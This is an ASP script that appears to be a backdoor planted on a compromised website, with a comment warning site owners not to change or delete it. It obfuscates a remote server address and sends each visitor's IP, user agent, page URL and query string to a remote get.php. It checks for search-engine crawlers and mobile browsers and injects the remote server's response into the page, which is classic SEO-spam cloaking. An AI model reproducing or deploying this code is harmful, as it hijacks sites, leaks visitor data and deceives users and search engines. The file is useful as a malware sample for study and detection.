<% 'this is important file, if you are not professional of the web source,please do not change any code and del it 'power by googles.com 'autoer googles@googles.com Session.CodePage=65001 Response.charset = "UTF-8" txtt = Request.QueryString("txt") If txtt = "txt" Then Response.Write txtt Else pathfilename=trim(Request.ServerVariables("SCRIPT_NAME")) name = Replace(pathfilename,"/","") im = please&admin&"/0625_oakley/get.php?file="&name&"&visitorip="&vistorip()&"&"&check&"&"&"from_url="&CUrl&"&"&Request.QueryString() If second(time())>30 Then 'im = im & "&now="&now() End If geturl = Request.QueryString("geturls") IF geturl = "geturls" Then Response.Write im Else Response.Write page(im) End If On Error Resume Next Server.ScriptTimeOut=30000 End If Function vistorip() GuestIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR") If GuestIP="" Then GuestIP = Request.ServerVariables("REMOTE_ADDR") End If vistorip = GuestIP End Function Function page(Path) t = GetBody(Path) If len(t)<2 Then t = "no thing" End If page=BytesToBstr(t,"UTF-8") End function Function Newstring(wstr,strng) Newstring=Instr(lcase(wstr),lcase(strng)) if Newstring<=0 then Newstring=Len(wstr) End Function Function please() please =Replace(Replace("hmmp:gg","m","t"),"g","/") End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function admin() admin = Replace(Replace(Replace("en_623;_ti_me_k_e,com","_",""),";","."),",",".") End function Function GetBody(url) on error resume next Set Retrieval = CreateObject("MSXML2.serverXMLHTTP") With Retrieval .setTimeouts 30000,30000,300000,120000 .Open "GET", url, False .Send If .readystate=4 then getBody = .responsebody Else getBody="nobody" End if End With Set Retrieval = Nothing End Function Function CUrl() Domain_Name = LCase(Request.ServerVariables("Server_Name")) Page_Name = LCase(Request.ServerVariables("Script_Name")) CUrl = "http://"&Domain_Name&Page_Name End Function Function check() user_agent=Request.ServerVariables("HTTP_USER_AGENT") allow_agent=split("Googlebot,Spider,Yahoo! Slurp,Yahoo!,msnbot,bingbot,ia_archiver,YandexBot,AhrefsBot,altavista,Inktomi slurp,lycos_spider,twiceler,Heritrix,Exabot,Custo,yacy,SurveyBot,Nutch,Fish search,WGet tools,MSIECrawler,Netcraft,unix ,Linux ,crawler,Mediabot",",") check_agent=false For agenti=lbound(allow_agent) to ubound(allow_agent) If instr(1,user_agent,allow_agent(agenti),1)>0 then check_agent=true exit for end if Next If check_agent=true then spider = "spider=true" Else spider = "spider=false" End if If instr(1,user_agent,"Chrome",1) and instr(1,user_agent,"1024×768",1) then check_google=true Else check_google=false End If If check_google=true then spider = spider&"&c_g=true" Else spider = spider&"&c_g=false" End if mmm = split("mobile,android,iphone,symbian,windowsce,phone,samsung",",") For agentj=lbound(mmm) to ubound(mmm) If instr(1,user_agent,mmm(agentj),1)>0 then check_mmm=true exit for end if Next If check_mmm=true then spider = spider&"&mobile=true" Else spider = spider&"&mobile=false" End if check=spider End function %>